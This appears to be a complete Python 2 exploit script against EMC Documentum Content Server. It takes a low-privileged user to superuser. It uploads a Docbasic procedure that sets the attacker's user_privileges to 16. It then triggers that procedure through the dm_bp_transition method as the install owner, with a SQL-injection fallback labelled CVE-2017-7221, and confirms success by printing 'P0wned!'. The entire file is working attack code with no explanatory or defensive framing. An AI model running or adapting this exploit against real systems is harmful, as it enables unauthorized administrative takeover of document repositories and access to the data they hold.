#!/usr/bin/env python

import socket
import sys
from os.path import basename

from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject

CIPHERS = "ALL:aNULL:!eNULL"


def usage():
    print "usage:\n\t%s host port user password" % basename(sys.argv[0])


def main():
    if len(sys.argv) != 5:
        usage()
        exit(1)

    (session, docbase) = create_session(*sys.argv[1:5])

    if is_super_user(session):
        print "Current user is a superuser, nothing to do"
        exit(1)

    install_owner = session.serverconfig['r_install_owner']
    document_id = session.next_id(0x08)
    content_id = session.next_id(0x06)

    store = session.get_by_qualification("dm_store")
    format = session.get_by_qualification("dm_format where name='crtext'")
    handle = session.make_pusher(store['r_object_id'])
    if handle < 1:
        print "Unable to create pusher"
        exit(1)

    data = "Public Function EntryCriteria(ByVal SessionId As String,_" \
           "\nByVal ObjectId As String,_" \
           "\nByVal UserName As String,_" \
           "\nByVal TargetState As String,_" \
           "\nByRef ErrorString As String) As Boolean" \
           "\nDim QueryID As String" \
           "\nDim Query As String" \
           "\nQuery = \"query,c,update dm_user objects set " \
           "user_privileges=16 where user_name=\'%s\'\"" \
           "\nQueryID = dmAPIGet(Query)" \
           "\nQueryID = dmAPIExec(\"commit,c\")" \
           "\nEntryCriteria=True" \
           "\nEnd Function" % (sys.argv[3])

    b = bytearray()
    b.extend(data)

    if not session.start_push(handle, content_id, format['r_object_id'], len(b)):
        print "Failed to start push"
        exit(1)

    session.upload(handle, b)
    data_ticket = session.end_push_v2(handle)['DATA_TICKET']

    procedure = False
    try:
        print "Trying to create dm_procedure"
        document = TypedObject(session=session)
        document.set_string("OBJECT_TYPE", "dm_procedure")
        document.set_bool("IS_NEW_OBJECT", True)
        document.set_int("i_vstamp", 0)
        document.set_int("world_permit", 7)
        document.set_string("object_name", "CVE-2014-2513")
        document.set_string("r_object_type", "dm_procedure")
        document.append_id("i_contents_id", content_id)
        document.set_int("r_page_cnt", 1)
        document.set_string("a_content_type", format['name'])
        document.set_bool("i_has_folder", True)
        document.set_bool("i_latest_flag", True)
        document.set_id("i_chronicle_id", document_id)
        document.append_string("r_version_label", ["1.0", "CURRENT"])
        document.set_int("r_content_size", len(b))
        if session.sys_obj_save(document_id, document):
            procedure = True
    except Exception, e:
        print str(e)

    if not procedure:
        print "Failed to create dm_procedure"
        print "Trying to create dm_sysobject"
        document = TypedObject(session=session)
        document.set_string("OBJECT_TYPE", "dm_sysobject")
        document.set_bool("IS_NEW_OBJECT", True)
        document.set_int("i_vstamp", 0)
        document.set_string("owner_name", sys.argv[3])
        document.set_int("world_permit", 7)
        document.set_string("object_name", "CVE-2017-7221")
        document.set_string("r_object_type", "dm_sysobject")
        document.append_id("i_contents_id", content_id)
        document.set_int("r_page_cnt", 1)
        document.set_string("a_content_type", format['name'])
        document.set_bool("i_has_folder", True)
        document.set_bool("i_latest_flag", True)
        document.set_id("i_chronicle_id", document_id)
        document.append_string("r_version_label", ["1.0", "CURRENT"])
        document.set_int("r_content_size", len(b))
        if not session.sys_obj_save(document_id, document):
            print "Failed to create dm_sysobject"
            exit(1)

    content = TypedObject(session=session)
    content.set_string("OBJECT_TYPE", "dmr_content")
    content.set_bool("IS_NEW_OBJECT", True)
    content.set_id("storage_id", store['r_object_id'])
    content.set_id("format", format['r_object_id'])
    content.set_int("data_ticket", data_ticket)
    content.set_id("parent_id", document_id)
    content.set_int("page", 0)
    content.set_string("full_format", format['name'])
    content.set_int("content_size", len(b))
    if not session.save_cont_attrs(content_id, content):
        print "Failed to create content"
        exit(1)

    if procedure:
        query = "execute do_method WITH METHOD='dm_bp_transition'," \
                " ARGUMENTS='%s %s %s \"\" 0000000000000000 " \
                "0000000000000000 0000000000000000 \"%s\" " \
                "0000000000000000  0000000000000000 0000000000000000 " \
                "\"\" 0 0 T F T T %s %s'" % \
                (docbase, docbase, install_owner, document_id,
                 install_owner, session.session)
    else:
        query = "execute do_method WITH METHOD='dm_bp_transition'," \
                " ARGUMENTS='%s %s %s \"\" 0000000000000000 " \
                "0000000000000000 0000000000000000 \"%s,'' " \
                "union\b select r_object_id from  dm_sysobject(all) where r_object_id=''%s\" " \
                "0000000000000000  0000000000000000 0000000000000000 " \
                "\"\" 0 0 T F T T %s %s'" % \
                (docbase, docbase, install_owner, document_id,
                 document_id, install_owner, session.session)

    session.query(query)

    r = session.query(
        "select user_privileges from dm_user "
        "where user_name=USER") \
        .next_record()['user_privileges']
    if r != 16:
        print "Failed"
        exit(1)
    print "P0wned!"


def create_session(host, port, user, pwd, identity=None):
    print "Trying to connect to %s:%s as %s ..." % \
          (host, port, user)
    session = None
    try:
        session = DocbaseClient(
            host=host, port=int(port),
            username=user, password=pwd,
            identity=identity)
    except socket.error, e:
        if e.errno == 54:
            session = DocbaseClient(
                host=host, port=int(port),
                username=user, password=pwd,
                identity=identity,
                secure=True, ciphers=CIPHERS)
        else:
            raise e
    docbase = session.docbaseconfig['object_name']
    version = session.serverconfig['r_server_version']
    print "Connected to %s:%s, docbase: %s, version: %s" % \
          (host, port, docbase, version)
    return (session, docbase)


def is_super_user(session):
    user = session.get_by_qualification(
        "dm_user WHERE user_name=USER")
    if user['user_privileges'] == 16:
        return True
    group = session.get_by_qualification(
        "dm_group where group_name='dm_superusers' "
        "AND any i_all_users_names=USER")
    if group is not None:
        return True

    return False


if __name__ == '__main__':
    main()